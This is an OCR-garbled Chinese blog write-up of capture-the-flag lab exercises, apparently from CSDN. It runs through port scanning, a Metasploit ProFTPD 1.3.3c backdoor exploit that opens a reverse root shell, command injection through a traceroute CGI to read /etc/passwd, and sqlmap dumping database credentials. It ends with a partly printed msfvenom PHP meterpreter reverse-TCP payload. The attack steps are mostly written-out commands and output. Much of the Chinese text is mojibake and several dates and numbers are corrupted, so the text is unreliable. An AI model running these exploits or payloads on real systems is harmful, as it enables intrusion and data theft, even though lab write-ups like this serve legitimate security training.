215 N RRFTPHRS (A EBIEBURFTPR A AR %A AR )

PORT  STATE SERVICE VERSION
21/tcp open ftp ProFTPDJRE

22/tcp open ssh OpenSSH 7.

fi Fseachsploit, EFEIRIFLE S, HREITTH A H6E AR

S5 FHIFTPIIAS B ProFTPD 1.3.3c E#HilliB/searchsploit/s [
:~# searchsploit ProFTPD 1.3.3c

- Compromi Source ploits/linux/r
- Backdoor Comma ploits/linux/r

Shellcod

EEHEIRE T —EFE, TES LEIANEELSEEAEHIAT, B IEREFRETT. THHBNEREmetasploitd, HilPath2Z%/E
BREHIRE R, DRMESEER, RIVMERES TS — M, RAITEES EAKEREES S TR
:~# cat fusr/ ‘exploitdb/exploits/linux/remote/15662. txt
== ProFTPD Compromise Report ==

On Sunday, the 28th of November 2016 around 20:00 UTC the main
distribution rver of the ProFTPD project was compromised. The
attackers m likely used an unpatched security issue in the FTP daemon
to gain acc to the server and used their privil s to replace the
source files for ProFTPD 1.3.3c with a version which contained a backdoor.
The unauthorized modification of the source code was noticed by

Daniel Austin and relayed to the ProFTPD project by Jeroen Geilman on
Wednesday, December 1 and fixed shortly afterwards.

1tp og.csdn.net/u0110
The fact that the server acted as the main FTP sf'ﬂ' lu%ﬁé'%?ﬁ%fﬁn]“

PERMNB A UE B ZIRARBR AL, XERNFEEETNNSE, 25T xR TR i A
" LAF Elmetasploitth £ 5 T X — MR, IARMBMAELGERTT R (6 AmetasploitRBEATEIH)D -

FAINIAFE 2] T ProF TPD 1.3 3c/AEX MAZAZR Y, I HEEBImetasploit, ILLEBRA LA & BEATZ A2 A H

FTFF Metasploit 7E £+ 4\ msfconsole

i\ search Xt B 1A B AR 5

use exploit

show payload

payload

XA AmsfLLJE B.#Esearch ProF TPD 1.3.3c (E#HRIFH) :
msf5 = search ProFTPD 1.3.3cC

Matching Modules



Disclosure Date Rank
Description

exploit/freebsd/ftp/proftp telnet iac 2018-11-01 great
ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
exploit/linux/ftp/proftp_sreplace 2006-11-26 great
ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux}
exploit/linux/ftp/proftp_telnet iac 2018-11-01 great
ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
exploit/linux/misc/netsupport manager agent 2011-01-08 average
NetSupport Manager Agent Remote Buffer Overflow
exploit/unix/ftp/proftpd 133c_backdoor 2018-12-02 excellent
ProFTPD-1.3.3c Backdoor Command Execution

exploit/unix/ftp/proftpd modcopy exec 2015-04-22 excellent
ProFTPD 1.3.5 Mod Copy Command Execution

o | hrrps:f.-“blt:ug.csdn.nen'uD1‘IDDbDﬁ

H#use XTI, R iZEE

]msfS = search ProFTPD 1.3.3c

Matching Modules

# MName Disclosure Date Rank Check Description

1 exploit/freebsd/ftp/proftp telnet iac 20810-11- great ProFTPD 1.3.2rc3 - 1.3.3b Telne
t IAC Buffer Overflow (FreeBSD)

2 exploit/linux/ftp/proftp sreplace 2006-11- great ProFTPD 1.2 - 1.3.8 sreplace Bu
ffer Overflow (Linux)

3 exploit/linux/ftp/proftp telnet iac 2018-11- great ProFTPD 1.3.2rc3 - 1.3.3b Telne
t IAC Buffer Overflow (Linux)

4 exploit/linux/misc/netsupport manager agent 2011-01- EVELED NetSupport Manager Agent Remote
Buffer Overflow

5 exploit/unix/ftp/proftpd 133c backdoor 2010-12- excellent ProFTPD-1.3.3c Backdoor Command
Execution

6 exploit/unix/ftp/proftpd modcopy exec 2015-04- excellent ProFTPD 1.3.5 Mod Copy Command
Execution

msf5 = use exploit/unix/ftp/proftpd 133c backdoor
msf5 exploit( ) = https://blog.csdn.net/u011005040

BAEFE Zexploitd] AME H iiipayloads: show payloads
msf5 exploit( b cor) > show payloads

Compatible Payloads

LEIE Disclosure Date Rank Check Description

cmd/unix/bind perl normal Unix Command Shell, Bind TCP (wvia Perl)
cmd/unix/bind perl ipvé normal Unix Command Shell, Bind TCP (via perl) IPw

cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse| normal Unix Command Shell, Double Reverse TCP (tel

cmd/unix/reverse bash telnet ssl normal Unix Command Shell, Reverse TCP SSL (telnet

cmd/unix/reverse perl normal Unix Command Shell, Reverse TCP (via Perl)
cmd/unix/reverse perl ssl normal Unix Command Shell, Reverse TCP SS5L (via pe

8 cmd/unix/reverse ssl double telnet normal Unix Command Shell, Double Reverse TCP SSL
(telnet)

msf5 exploit( https://blog.csdn.net/u01100504

AR A# Freverseix/-payload, #iAset payload cmd/unixreverse [E]1%

msf5 exploit( ) = set payload cmd/unix/reverse
payload => cmd/unix/reverse

BT RBEAHK B 5Epayload2 e B A F 77 E % BHfoptions, #iAshow options&EH

msf5 exploit( ) = show options




]Module options (exploit/unix/ftp/proftpd 133c backdoor):

Name Current Setting Require Description

RHOSTS 5 The target address range or CIDR identifier
RPORT 2 : The target port (TCP)

Payload options {(cmd/unix/rever

Mame Current Setting

LHOST e The listen address (an interface may be specified)
LPORT 4444 e The listen port

Exploit target:
Id Name

0] Automatic

msf5 exploit( ittps://blog.csdn.net/u011005040

XBERMNEBEERE—T BAaMIPHdE: set rhosts 10.22.153.101
BB — THEHHLRIPHbE: set lhost 10.22.38.234

msf5 exploit( ) = exploit

[#] Started reverse TCP double handler on 18.22.38.234:4444

[*] 10.22.153.101:21 - Sending Backdoor Command

BHE S JER A exploith T ZRE , FRPITEUE, SKRIAEEBE] T rootB R :

msf5 exploit( ) = exploit

[*#] Started reverse TCP double handler on 10.22.38.234:4444
10.22.153.101:21 - Sending Backdoor Command
#*] Accepted the first client connection...
*] Accepted the second client connection...
] Command: echo bX1D2dwfQrksCPKL;

*] Matching...
] B is input...
[*#] Command shell session 1 opened (18.22.38.234:4444 -> 10.22.153.101:49258) at 2020-11-88 02:12:43 -8500

id

uid=0(root) gid=e(root) groups=@(root),65534(nogroup) htt )g.csdn.ne

python -c “import pty;pty.spawn(’/bin/bash’)”
(f# F python pty FF /8 4 3%)
python -c "import pty;pty.spawn('/bin/bash'}"

root@vtcsec: /# |

—MAERT, YL HflaglE RAFBAERS SR ERT, /oot H ¥,



cd /root/

Is

cat flag

writeup MRS B A CERZJE & IF S — A writeup 3T

BAEIs -alhREF T2 B TFHAE A, IR DK .

root( /root# 1s -alh

(3

o8z

X FHIBFTP. SSH. Telnet MBI RS, 7 LASIR— L% B2 IR % W AS B IR TR ARG 5
NFRA, —EBERFAHRBRKEXPKrootEH;

(AREP=Y

msf5 search ProFTPD 1.3.3c

use exploit

show payload

payload
python -c
BhE. LT
CTFH &

CTFR—MWRITHE R ZETFHR, HEXLWEENFHFlag’, WAIRFENFEFE . RAXBURER, SRENZRET
BATHFING BEATEER, RENEDRTEBOHIRRPAE —6BF — R AN FAB AN E, FRERTSE
W5, NTFRDE. AT ITERME, BAHEXHERNERZAFlag”.

CTFELIEA Y Py 75 L Be e 4, BRATEERI BT o LRI FR O B kA8 fag
(ER=5 3

nmap -p T4 B3 IPHbiiL

nmap -T4 -A -v #3ZIPihik



t~# nmap -p- -T4 19;

=
7

STATE SERVI
open ftp
open ssh
open http

open Zeus-admin

unknown

easyengine

unknown

MAC Address: 08:00 10711 A virtual NIC)

sdn.net/u011005040

Nmap done: 1 IP address (1 host up) scanned in 3N

XHFITHhttp AR 55 B #E3%,  BRATIIE AT LAAE A H A T B #R

T BRAE B

nikto -host http://$E3zIPHbbk : b0

dirb http://$E3FHIPHibL : 45O

ibfh B ST AR, RABEHA-ANTR

:~# nikto -host http://192.168.4

- Nikto v2.1.6

File Edit View Search Terminal Help
:~# nikto -host http://192.168.43.213:9090

g - Nikto v2.1.6

A LA dirb k4T

SrPrnmap « niktoFALE R, SRR HKER;
Xt F K D JEhttp AR %%, BT PAME A nc SRERMZ 35 1 Bbanner(s B

nc ipHiht HOS



B4
File Edit View Search Terminal Help

:~# nmap -p- -T4 192.168.43.213
Starting Nmap 7.70 ( https://nmap.org ) at 2020-11-08 07:23 EST
Nmap scan report for bogon (192.168.43.213)
Host is up (0.80046s latency).
Mot shown: 65528 closed ports
PORT STATE SERVICE
21/tcp open Ttp

22/tcp open ssh
open http
9098/tcp open zeus-admin
13337/tcp open unknown
22222/tcp open ea ngine
60000/tcp open unknown
MAC Address: 08:00:27:BF:52:95 (Oracle ViﬁﬁHE&@ﬂan%ﬁﬁ?@*&EﬁqthD4D

#Anc 192.168.43.213 13337

:~# nc 192.168.43.213 13337
FLAG:{TheyFoundMyBackDoorMorty}-18Points

kSR MInc 192.168.43.213 60000

RARIRE T —Ashell, pwdFEH LIEH *:
# pwd
Jroot/blackhole/

# 1

BEHFZTAEM XM BINRIAAMag.txt
# cat FLAG.txt
FLAG{Flip the pickle Morty!} - 18 Points

#

XFF K3 O httpfR 55, 77 DUAE D0l B2 4% 30 B2 57 1l B VRARRD, T #kflagfE;

http://ip#hdl : 45 05



RIE Q090 B HIHT TPAR S, 43 I BE 33— T -
FTP server status:
Connected to ::ffff:192.168.43.173
Logged in as ftp
TYPE: ASCII
sion bandwidth limit
on timeout in seconds is 300
(untrnl connection is plain text
Data connections will be plain text
sion startup, client count was 3
vsFTPd 3.0.3 - secure, fast, stable
_End of status
22/tcp open ssh?
fingerprint-strings:
MNULL:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86 64)
] Apache httpd 2.4.27 ((Fedora))

nuppuIth thhud' GET POST OPTIONS HEAD TRACE
Potentially risky methods: TRACE
: Apache/2.4.27 (Fedora)
Morty ¢ Website
http Cockpit web service
http-me
i quppurtrd thhudh GET HEAD
_http-title: Did not follow redirect to https://bogon:9090/
service unrecognized despite returning data. If you know the service/version,
submit the following fingerprint at https:f;nmap.urgicgl bin/submit.cgi?n
vice :
%Time=5FA7E19F%P=x86 64-pc-linux-gnusr(NULL
7Dtu\a20Ubuntu\ (2014% .04\ 5\»20LTQ\»2D\fGNUleHUa\AZD4\.
] lC\,a.El).»’.BG_G“‘\ e
@0:27:BF:52:95 (Oracle VirtualBox virtual NIC)
al purpose
Llnu» 3.X|4.X
)C CPE: cpe:/o:linux:Llinux_kernel:3 cpe:;o:linux:linux_ﬁﬁ
0S details: Linux 3.2 - 4.9 :

BEANTUE, XRF|—AMflag

FLAG {THERE IS NO ZEUS, IN YOUR FACE!} - 10 POINTS

og in with your server user account.

Password

https://blog.csdn.net/u011005040

Xt FhttpfiR45, AT LA B 84T IF http://ip:port/ BURTUTE, EEBURER, REIWHHKIME;



TEdirb 8035 0 RS %, KILT — 4 password i, FTHEE 2 —AMlag:

Index of /passwords - Mozilla Firefox o ® @
£ localhost.localdomain X | & Howtotroubleshootsec: X | Index of [passwords x |+
- C @ ® 192.168.43.213/passwords/ - O 1 N @0 =

£} Most Visited @ Getting Started “e, Kali Linux “e, Kali Training “& Kali Tools “ KaliDocs “ Kali Forums »»

Index of /passwords

Name Last modified Size Description

& Parent Directory -
I 2017-08-22 02:31 44
passwords.html 2017-08-23 19:51 352

A —~password:

£ localhost.localdomain X | & Howtotroubleshootsect X | Morty's Website x |+

&« c @ @ 192.168.43.213/passwords/passwords.html e O In @ =
#F Most Visited @& Getting Started "%, Kali Linux " Kali Training "% Kali Tools “& Kali Docs “& Kali Forums >

Wow Morty real clever. Storing passwords in a file called passwords.html? You've really done it
this time Morty. Let me at least hide them.. I'd delete them entirely but I know you'd go bitching
to your mom. That's the last thing I need.

HERAZ#E
RIL—AERG R winter:
http:/f192.168.43.213/passwords/passwords.html - Mozilla Firefox @ ®
£ localhost.localdom: X | & How totroubleshoo X Morty's Website X | http:/f192.168.43.213/, X
C @ (@ view-source:http://192.168.43.213/passwords/pa o O W N o

£+ Most Visited @ Getting Started ", Kali Linux " Kali Training s Kali Tools ‘% Kali Docs “e Kali Forums

<!DOCTYPE html>

<html>

<head=

<title=Morty's Website</title=

<body=Woujme - . Storing passwords in a file called passwords.html? You've really done it tt
</head>

=/html=

FTP EA & ZHEURE R

FEN LA PR fo /AR P B4 ERApRFH/MWE R, BEFEBBEXM, EE—EEEFIRNL;

1 B BRI E 4 B

Nmap scan report

i




STATé éééUICE &EééIDN
open ftp vsftpd 3.0.3
ftp-anon: Anonymous FTP login allowed (FTP code

STAT:
FTP server status:
Connected to ::ffff:192.168.1.111 https://blog.csdn.net/u011005040
Logged in as ftp 5

P ORIAIRKT 1 — T HIftp IR ST . FTIT30 834 A\ ftp://192.168.43.213

Index of ftp://192.168.43.213/

4 Up to higher level directory

Name Size Last Modified
File: FLAG.txt 1KB  8/22/17 12:00:00 AM EDT
B pub 2/12/17  12:00:00 AM EST

ZERMNFEZpub B, KM% B FHEE XM
WALE R B dirbE & B ¥ A robots.txt,

GENERATED WORDS:

DOWN

1011005040

RIBNEF, IERNKIRITIF

B LULdL WS L UL o W W Lo o VIUILY 5 VVEUSIe A = MIUER U Iy

C @ © 192.168.43.213/robots.txt
£+ Most Visited @ Getting Started " Kali Linux “ Kali Training e Kali Tools &
They're Robots Morty! It's ok to shoot them! They're just Robots!
Jegi-bin/root_shell.cgi

Jcgi-bin/tracertool.col
Jegi-bing*

S AR —AE Dk RATBEAT B H «

Super Cool Webpage X | 192.168.43.213/robots.txt X | +
<« C @ ® 192.168.43.213/cgi-bin/tracertool.cg

#F Most Visited @& Getting Started "% Kali Linux "% Kali Training “% Ka

MORTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.



BARBHIE,

Trace!

S AE X LR fy NI
Super Lool Webpage - Mozilla Firerox

Super Cool Webpage X | 192.168.43.213/robots.tixt X ‘+

(€)= @ @ ® 192.168.43.213/cgi-binjtracertool.cgi?ip=127.0 - O %

£+ Most Visited @ Getting Started “e Kali Linux “ Kali Training & Kali Tools “e KaliDocs & Kali

MORTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.
127.0.08.1;id

Trace!

traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 60 byte packets
1 localhest (127.0.0.1) 0.035 ms ©0.003 ms ©.002 ms
uid=48{apache) gid=48{apache]) groups=48(apache) context=system u:system r:httpd sys script _t:s@

B REMAN, $ieE R 2460 P A £rootifi & —/~apache
X I 248 B 24 i FEpassword. html 23 7 —AN35 5,  tEkRwinter,
X I E AR B /etc/passwd 775 F P 2 A%, HEFIGRRHESKREXR, FHHZXHRITERPH#TUEER, HEEcat /etc/passwdfi

ik

(] [} | a 1

o C @ (© 192.168.43.213/cgi-bin/tracertool.cgi?ip=127.0 oee
£} Most Visited @ Getting Started "%, Kali Linux "% Kali Training "% Kali Tools “& Ka

MORTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.
127.0.0.1;cat /etc/passwd

Trace!

traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 60 byte packets
1 localhost (127.0.0.1) ©.014 ms 0.006 ms 0.084 ms

[\
I
|
I

/oA /7

LR Yicat KIRRHI T —MEEIR. CGUsEstRIEHILESM T RED

Xt PATH, AT Gt SKIFR ], AT DA AR - RACE FR 6 R shelldr &

41 cat more



T kA Fmoreifik:

A ] it S ST ~ A R T L WAL LA s ]

&« c & ® 192.168.43.213/cgi-bin/tracertool.cqi’
£} Most Visited @ Getting Started ", KaliLinux “e, Kali Training “& Kali T

MORTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.
127.0.0.1;more fetc/passwd

Tracel

traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 60 byte packets
1 localhost (127.0.8.1) 0.014 ms 0.010 ms 0.005 ms

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon: /shin:/shin/nologin
adm:x:3:4:adm: /var/adm: /sbin/nologin

lp:x:4:7:1p:/var/spool/lpd: /sbin/nologin

sync:x:5:@:sync:/sbin: /bin/sync

shutdown:x:6:8:shutdown: /sbin:/sbin/shutdown
halt:x:7:8:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/shin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody :x:99:99:Nobaody: /: /sbin/nologin
systemd-coredump:x:999:998:systemd Core Dumper:/:/sbin/nologin
systemd-timesync:x:998:997:systemd Time Synchronization:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:997:996:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpchind:/shin/nologin
abrt:x:173:173:: /etc/abrt: /sbin/nologin

cockpit-ws:x:996:994:User for cockpit-ws:/:/shin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
chrony:x:995:993::/var/lib/chrony:/shin/nologin
tepdump:x:72:72::/: /sbin/nologin
RickSanchez:x:1000:1000: : /home/RickSanchez: /bin/bash
Morty:x:1001:1001: : /home/Morty: /bin/bash
Summer:x:1002:1002: : /home/Summer: /bin/bash

apache:x:48:48:Apache: fusr/share/httpd: /shin/nolegin

RIT —/Summerf 4, 3FHAtfEhome BT, AT LSS M At il =2 X i B FH 72 42 -

REXNNH AP BMELZ G, WTHUEEsshRER RS, BENNHfagH




011005040

" A £225 4 H A7 fEssh iR 5%
T Kssh Summer@192.168.43.213

BATVEI, sshZHIGUETT RIEL T2 L
RIN225 b D A REREAT AR E RS Y o

File Edit View Search Terminal Help

:~# ssh -p 22222 Summer@l92.168.43.213
authenticity of host '[192.168.43.213]:22222 ([192.168.43.213]:22222)"' can't
2stablished.
key fingerprint is SHAZ256:rP4CX/V9xNZay9srIUBRg2BFOTnmxU09cs1F3E9yzgo.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '[192.168.43.213]:22222' (ECDSA) to the list of known
hosts.

Summer@l92.168.43.213's p

:~# ssh -p 22222 Summer@l92.168.43.213

The authenticity of host '[192.168.43.213]:22222 ([192.168.43.213]:22222)"' can't
be established.

ECDSA key fingerprint is SHA256:rP4CX/V9xNZay9srIUBRq2BFQTnmxU09cs1F3E9yzgo.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '[192.168.43.213]:22222' (ECDSA) to the list of known

Permission denied, p
Summer@l92.168.43.213's p ;
Last failed login: Sun Nov 8 23:59:13 AEDT 2020 from 192.168.43.173 on ssh:nott

Y]

b

There was 1 failed login attempt since the last successful login.

Last login: Wed Aug 23 19:20:29 2017 from 192.168.56.104 R
[Summer@bogon ~1% l ttps:/iblog.csdn.net/u01 'I[JEI.‘_:LW

XEHERIL, CEEE T XM EIshell, £ FRBAVEZ M 2 5 7= B4k S8 MR IRBCHT M. fflagE
[Summer@bogon ~]$% cat FLAG.txt

| A
||
||
|



BATVRI, catdr SPFEML T, BT LAEH morefRE it

EREARMRE SO, 7] LUE R ncREU B Flbanner(s & ;
5 A X AR IE FIshelldr &SR SR BR #1; 40 cat more

Xob 4 — MR 25 0 7 EEHEAT XS BRI IR, A AR T — AN AT AR A R

SQLIEANY i 1 AR B R BRI A A AE A S B te AWeb L FIFEFF, T N R#ER R SQLIEVE B — A &, B HiTSQLEAH
THATBEE TR 3RE, REEERREFEAASUEER P MANEEE, BUEREBERARSA. .

SQUEANKF=ARFEH RAEUT LT H: OFIKRBLE; OFZENBEEFELE; ONSHENERELE; OFLHHEIRLEE
O X FRLEAGE; @ MELLEALS,

nmap -sV $37 P it
nmap -T4 —A -v #37 P bt

nikto -host http:/4E37 1Pk 3% O

srtinmap « nikto SR, FEXTERET oM, WA UAMHAKER;

i B B AR 4TIT hitp:/ip:port/BUR T T, HHEGURMEE, KEIWHAKLE;

X4 fniktoiR B T — AN B, #HEEE

root @kali: ~

f File Edit View Search Terminal Help
sitive information via certain HTTP requests that contain spe

: /7=PHPE9568F36-D428-11d2-A769-00AADO1ACF42: PHP reve
:1t1v=: information via certain HTTP requests that contain spe



trings.

SVDE-12184: /7=PHPE9568F35-D428-11d2-A769-00AABO1ACF42: PHP reve
ly sensitive information via certain HTTP requests that contain spe
trings.

0SVDB-32 - 5

0SVDB-30892: : This might be interesting...

0SVDB- 3: /1 : Directory inc ng found.

0SVDB-3 fimag Directory indexing found.

Server m leak inodes via ETags, header found with file /icons/R
3486, size: 5108, mtime: Tue Aug 28 06:48:10 2807

0SVDB-3233: /icons/README: Apache default file found.

/admin/login. php B LNG RN GYEREENTS tion found.

8727 requests: O error(s) and 22 item(s) reported on remote host

2020-11-08 20:22:12 (GMT-5) (28 seconds)

1 host(s) tes

:-#I

Mozilla Firefox

10.22.66.167/admin/login.p X | +

&« C @ @ & 10.22.66.167/admin/login.php o 9 o
£+ Most Visited @ Getting Started “e KaliLinux “ Kali Training " Kali Tools “ KaliDocs ‘S

Login

Login

Password

~ Login

ZR—THERAF LS, KSHEEERAadmin, KIHEE
o (i) 42 10.22.66.167/admin/login.php

@ Getting Started & KaliLinux " Kali Training ‘% Kali Tool

Login

Login  admin

Password esssss

~ Login

R

web¥EH i %% owasp-zap



OWASP ZAPY i (RELAR 55 28 Rt - E | ZWWK) B Z & TRZ —. ZAPH DB BT K MIAMAREF SRS, B3k
WebM R H I ZEHRA. 75, EEE-FERAAZEEZTLBNEENRANRET A TZEMANRE TA.
fEkaliZe k£

Applications Places =

N
Favorites B burpsuite
01 - Information Gathering

commix
02 - Vulnerability Analysis

Web Application Analysis -0 httrack

Database Assessment
owasp:zap

Fessword Attacks

\ess Attacks -
su Engineering skip ish

Exploitatign Tools

sqlmiip
Sniffing & Spoofing

Post Exploitatign websfQarab
Forensics wpscal
Reporting Tools

Social Engineering Todls

System Services

Usual applications

Activities Overview it og.csdn.netiufq1 1005040

HEHAiptilt, mMattack, FFRFHAMTR, BTG SENBE ZlalertstEik T -

f Alirts #

XA UE B =MBIANRE, RLGRARFARGRA, HOARPERA, REOARKERR.

[ [=| History T ‘=, Search T Fu alerts = T Output T ¢ Spider
® 7

¥ [ Alerts (8)
» [ Cross Site Scripting (Reflected)
» U SQL Injection
» [ Directory Browsing (3)
» [U ¥-Frame-Options Header Not Set (11)
» [ Cockie No HttpOnly Flag
» (U Password Autocomplete in Browser
» U Web Browser XSS Protection Not Enabled (13)
» [U X-Content-Type-Options Header Missing (18)

s F) H
& Stweb# T IRTR IS



XEARMKERBT N TR WEREASQLENHR, ATLEEFA. ERESQUIEANRG AR, 7T LAEERBURS SR .

1% F sqlmap#F| F SQLIE A JE R

url -dbs BEHIEE4
url -D “¥IEEE4” -tables BE N LB P R R

url -D “BHBEESR” -T “FRL” -columns BEENPLFE
url -D “BEEEL” -T “RL”-C “F&” -dump EEWNMNFENE
AT LB 2R sqlmap -u url -os-shell HE#:3kHishell

BT RBAVRESR—F, SeBRXA GBI &l d R

= History I Z, search I o Alerts & I Output I ## Spider I # Active Scan | o

)@ S
Alerts (8)
» [ Cross Site Scripting (Reflected) Confidence: Medium
Parameter: id
» [ Directory Browsing (3) Attack: 30R1=1-
» [ X-Frame-Options Header Mot Set (11) Evidence:
» [ Cookie Mo HttpOnly Flag CWE ID: 89

1E 2355 ¥ Asqlmap -u “http://10.22.66.167/cat.php?id=3a”, RIRM T XA idRE EA sqiE NI IR

+ 1 host(s) tested

:~# sqlmap -u "htt|:::,',-‘1:3.22.66.167,‘cat.php?id=3aﬂ

W UEEGER, XANRWRFESQRENIRFK:

root@kali: ~ e e O

File Edit View Search Terminal Help
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any

)7 [y/N] ¥y
sqlmap identified the following injection point(s) with a total of 188 HTTP(s) r

id (GET)
an-b d blind
oolean-based blind - Parameter replace (original value)
: 1d=(SELECT (CASE WHEN (7375=7375) THEN ©0x3361 ELSE (SELECT 6052 UNI
ON SELECT 4290) END))

Type: error-based

Title ySQL == 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (FLOOR)

Payload: id=3a AND (SELECT 1054 FROM(SELECT COUNT(*),CONCAT{@x716b7a7671, (SE
LECT (ELT(1054=1054,1))),0x717a6b7871,FLOOR(RAND(®)*2))x FROM INFORMATION SCHEMA

.PLUGINS GROUP BY x)a)

Type: time-
Title 5.0.12 AND time-based blind (query SLEEP)
D (SELECT * FROM (SELECT(SLEEP(5)))NaQk)

Type: UNION query
Titl MySQL UNION query (random number) - 4 columns
Payload: id=-4383 UNION ALL SELECT 4595,CONCAT(0x716b7a7671,8x6b506e7a6d7441
3b63764a574b597544766Cc566d6653744257496b4b457346686556585848695844,0x717a6b7871)
, 4595 , 4595#
[ ] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.8 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL == 5.0
[ 11 ] fetched data logged to text files under '/root/.sqlmap/output/

10.22.66.167"' ;
https og.csdn.net/u01100 !40

He O ST D2 A o S Tl A HT B SIe TR A 2 2 ST b3 ) 23 ) b O Ho kR A M < AR = T W R 47 e Lk 2 B



FH I CAJBILAT NSRS A2 YR /N TREFSRAZ IR /N B M) H ik ARIE /LN IR E T o H JGREE D8£ AT L6 H /N
sqglmap -u “http://10.22.66.167/cat.php?id=3a” --dbs:

root@kali: ~

File Edit View Search Terminal Help

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (FLOOR)

Payload: id=3a AND (SELECT 1054 FROM(SELECT COUNT(*),CONCAT(0x716b7a7671, (SE
LECT (ELT(1854=1054,1))),0x717a6b7871, FLOOR(RAND(®)*2))x FROM INFORMATION SCHEMA
.PLUGINS GROUP BY x)a)

Type: time-based blind
Title: MySQL >= 5.8.12 AND time-based blind (query SLEEP)
Payload: id=3a AND (SELECT * FROM (SELECT({SLEEP(5)))NaQk)

Type: UNION query

Title: MySQL UNION query (random number) - 4 columns

Payload: id=-4383 UNION ALL SELECT 4595,CONCAT(0x716b7a7671,8x6b506e7a6d7441
6b63764a574b597544766Cc566d6653744257496b4b457346686556585848695844 ,0x717a6b7871)
, 4595, 4595#

[ 1 [INFO] the back-end DBMS is MySqQL

web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL == 5.0

[ 1 [ ] fetching database names

[ 1 I ] used SQL query returns 2 entries

[ 1} ] retrieved: 'information schema'

L T 1 T retrteved: 'photoblog!’

available databases [2]:

[*] information schema

[*] photoblog

[ 11 ] fetched data logged to text files under '/root/.sqlmap/output/
10.22.66.167"

[*] ending @ 20:53:54 /2020-11-08/

=
hitps:/iblog.csdn.net/u011005040

information_schemas& &4t B KR &, FHREEER—VIELR, XAATEMEXA, RAIM THEHHphotoblog, # ISk, 7E%&
L TPN

sglmap -u “http://10.22.66.167/cat.php?id=3a” -D “photoblog” --tables

#F photoblog $#E FEH 1R 4

web server operating system: Linux Debian 6.8 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL == 5.0
1|l ] fetching tables for database: 'photoblog’
11l ] used SQL query returns 3 entries
1 I ] retrieved: 'categories’
1 1 ] retrieved: 'pictures'’
1l ] retrieved: 'users'
Database: photoblog
[3 tables]

| categories |
| pictures

I}l ] fetched data logged to text files under '/root/.sqlmap/output/
10.22.66.167'

[*#] ending @ 20:55:49 /2020-11-08/

:~# sqlmap -u "http://10.22.66.167/cat.php?id=3a" -D "photoblog" --tabl

esf]




T
\EAFEE Ctrl+G, L) ) %5 s

FEOR BN G )G & ZRIAH P 2%, FrllusersfRANZEIRBMA R, BAEELRBA
sqlmap -u “http://10.22.66.167/cat.php?id=3a” -D “photoblog” -T “users” --columns
RIMERAR

Database
Table: u
[3 column

| mediumint(9)
| login | varchar(5e)
| password | varchar(5e)

011005040

XARIRIE) T RAFB, T RATRIRE — T 32 BX B2 (H

TE LRI -

sqglmap -u “http://10.22.66.167/cat.php?id=3a” -D “photoblog” -T “users” -C “login,password” --dump
l [~

3

[1 entry

| loegin | pas
_______ +___

M AEEXARE TR 4, BREX N EER R ES, MRS BN A mdb A5 % SO M AT SO P4sswOrd ,  EATIRECEH
HERELZ FREGM RS, T BAIRE -

Administration of my Awesc X | Myawesome Photoblog x |+

< ¢ @ ® 10.22.66.167/admin/index.php . Q1

4} Most Visited @ Getting Started “, Kali Linux S Kali Training ‘%, KaliTools % KaliDocs “e, Kali Forums “, NetHunter

Administration of my Awesome Photoblog

Hacker delete[ Home | Manage pictures | New picture |
Ruby cielete[
Cthulhu delete[

lAdd a new picture

R OB T RE, B TREE LM —Pshel kR R #HALFR:

Wt HLE 3 HE



msf > use exploit/multi/handler

msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set Ihost Z i HLIP kit

msf exploit(handler) > set Iport 4444

msf exploit(handler) > run

A iR #ishell
msfvenom -p php/meterpreter/reverse_tcp lhost=Bt i HLIPH bk Iport=4444 -f raw > /root/Desktop/shell.php
(frawR R~ BEFEAE)

:~# msfvenom -p php/meterpreter/reverse tcp lhost=10.22.38.234 lport=4444 -T raw
-1 No platf Jas ted, choosing Msf::Modu :Platform: :PHP from the payload
-1 No arch select cting arch: php from the payload
or badcha ecified, outputting raw payload
1113 by
/*<?php / error_reporting(@); $ip = '10.22.38.234'; $port = 4444; if (($f = 'stream_ _nclwt _client')
&& ia calldb _‘ [ §5 = $ ("tcp://{$ip}:{$port}"); $s ty ‘stream'; } if (!4 =
= $T($ip., $port); %$s type = 'stream'; } if (!$s && ($T =
SOCK STREAM, SOL TCP); $res = @ et connect($s,
$H tjpr = "nckrt'- } if (!%$s type) { die('no s 5'): } 3
